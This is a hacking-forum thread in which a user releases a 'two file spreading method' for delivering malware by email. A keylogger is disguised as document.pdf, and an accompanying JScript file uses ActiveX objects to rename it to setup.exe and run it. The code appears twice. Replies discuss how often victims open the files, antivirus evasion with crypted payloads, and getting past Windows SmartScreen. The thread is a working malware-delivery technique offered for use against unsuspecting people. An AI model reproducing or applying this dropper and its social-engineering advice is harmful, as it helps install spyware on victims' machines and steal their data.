

## Forum:[Hack Forums](#)

Thread: [\[RELEASE\]Bind exe with PDF - two file spreading method \[FREE\]](#)

**geba** - October 23, 2016, 2:17 pm

First of all rename your keylogger document.pdf, next create a javascript file and name that document.js, after that put the next code listed bellow in the javascript file, and dont forget to modify in javascript code the file names if you want other names.

After that put both file in one archive or you can send each one without archive on email. Also you can use other extension instead pdf.

How it work? The victim open first the pdf, the default pdf manager will try to open the binded exe but will show an error, after that the victim see the second file document.js and will think to open, when will open the file the document.pdf will be renamed with exe and executed.

I used this method with crypted exe and then binded, but is a nice method for emails that dont allow exe to be sent. You can put more instances for kick the antivirus reaction if you dont use a crypted payload.

Now i work for make this working on android and later maybe iOS.

If you want more methods and other private paid stuff contact me.

Test first with calc.exe renamed document.exe and re-renamed document.pdf

This code put in document.js that's all:

```
Code var fso = new ActiveXObject("Scripting.FileSystemObject");
if(fso.FileExists("document.pdf")){
    fso.MoveFile('document.pdf', 'setup.exe');
} else {

}
```

```
var shell = new ActiveXObject('WScript.Shell');
shell.Run('setup.exe');
```

**CrazyBurak** - October 23, 2016, 9:22 pm

This relies on target being fooled, unless you're doing a mass spam of sending your malware, I doubt it would be of much benefit.

**Konfuz1oN** - October 24, 2016, 1:02 am

Like people would open the 'weird looking' .JS-file. ?

If they can't open the .PDF-file they're already suspicious and will definitely not open the .JS-file.

**geba** - October 24, 2016, 3:33 pm

(Oct 24, 2016 01:02 AM)Konfuz1oN Wrote: [\[CITE\]](#) Like people would open the 'weird looking' .JS-file. ?

If they can't open the .PDF-file they're already suspicious and will definitely not open the .JS-file. you can make private-document.pdf and private-password.js the method has many possibilities depend of the target enviroment and social...this method was tested 80% has opened.

**DamienVC** - October 24, 2016, 4:44 pm

(Oct 24, 2016 01:02 AM)Konfuz1oN Wrote: [\[CITE\]](#) Like people would open the 'weird looking' .JS-file.

?

If they can't open the .PDF-file they're already suspicious and will definitely not open the .JS-file. Obviously one wouldn't give a silent method out for free ?

**eagles1895189** - October 28, 2016, 1:58 am

(Oct 23, 2016 02:17 PM)geba Wrote: [\[CITE\]](#) First of all rename your keylogger document.pdf, next create a javascript file and name that document.js, after that put the next code listed below in the javascript file, and don't forget to modify in javascript code the file names if you want other names. After that push both files in one archive or you can send each one without archive on email. Also you can use other extension instead pdf.

How it works? The victim opens first the pdf, the default pdf manager will try to open the binded exe but will show an error, after that the victim sees the second file document.js and will think to open, when they open the file the document.pdf will be renamed with exe and executed.

I used this method with a crypted exe and then binded, but is a nice method for emails that don't allow exe to be sent. You can put more instances for kick the antivirus reaction if you don't use a crypted payload.

Now I work for making this working on android and later maybe iOS.

If you want more methods and other private paid stuff contact me.

Test first with calc.exe renamed document.exe and re-renamed document.pdf

This code put in document.js that's all:

```
Code var fso = new ActiveXObject("Scripting.FileSystemObject");
if(fso.FileExists("document.pdf")){
    fso.MoveFile('document.pdf', 'setup.exe');
} else {

}
```

```
var shell = new ActiveXObject('WScript.Shell');
shell.Run('setup.exe');
```

Mate I love your idea, meanwhile people should learn to appreciate new tricks, kindly pm me your skype for furtherness

**shoto4meeee** - October 30, 2016, 6:08 am

mate this would be lovely if it has video TUT

**2.7Billion** - October 30, 2016, 5:17 pm

(Oct 30, 2016 06:08 AM)shoto4meeee Wrote: [\[CITE\]](#) mate this would be lovely if it has video TUT this is the most simplest trick in the world

come to skype I do it on your pc while you watch. also discovered more tricks lol

my sig.

**mrfee5** - November 17, 2016, 5:53 am

This is a very cool idea the only problem I use windows 10 when I clicked on the .js a huge prompt that takes up the whole screen (like when a program asks to run as administrator) and says "do you want to allow this app from an unknown publisher to make changes to this pc". I am not a coder so please excuse this question if it's dumb. Is there anyway to have the script rename document.pdf to document.exe and then "click" on document.exe instead of it running setup.exe. Maybe using script

to "control" the keyboard to highlight/select the newly renamed document.exe and then press enter to open it? or is windows prompting me because of the rename?

**Codefuser** - November 17, 2016, 6:15 am

(Nov 17, 2016 06:53 AM)mrfee5 Wrote: [\[CITE\]](#) This is a very cool idea the only problem i use windows 10 when i clicked on the .js a huge prompt that takes up the whole screen(like when a program asks to run as administrator) and says "do you want to allow this app from an unknown publisher to make changes to this pc". I am not a coder so please excuse this question if its dumb. Is there anyway to have the script rename document.pdf to document.exe and then "click" on document.exe instead of it running setup.exe. Maybe using javascript to "control" the keyboard to highlight/select the newly renamed document.exe and then press enter to open it? or is windows prompting me because of the rename?

It is smartscreen and it is not possible to bypass.

**mrfee5** - November 17, 2016, 6:41 am

(Nov 17, 2016 07:15 AM)Codefuser Wrote: [\[CITE\]](#) It is smartscreen and it is not possible to bypass. what part of his code is causing the prompt

**Codefuser** - November 17, 2016, 7:06 am

(Nov 17, 2016 07:41 AM)mrfee5 Wrote: [\[CITE\]](#) what part of his code is causing the prompt Please consider searching google for "how does smartscreen work" instead of asking questions like this.

**mrfee5** - November 18, 2016, 5:03 pm

(Nov 17, 2016 08:06 AM)Codefuser Wrote: [\[CITE\]](#) Please consider searching google for "how does smartscreen work" instead of asking questions like this.i didn't get a smartscreen error though.

sorry i was just thinking how rubber ducky works and wondering if a .js could work the same way

**Clubababa** - November 20, 2016, 4:35 pm

This code not works bro....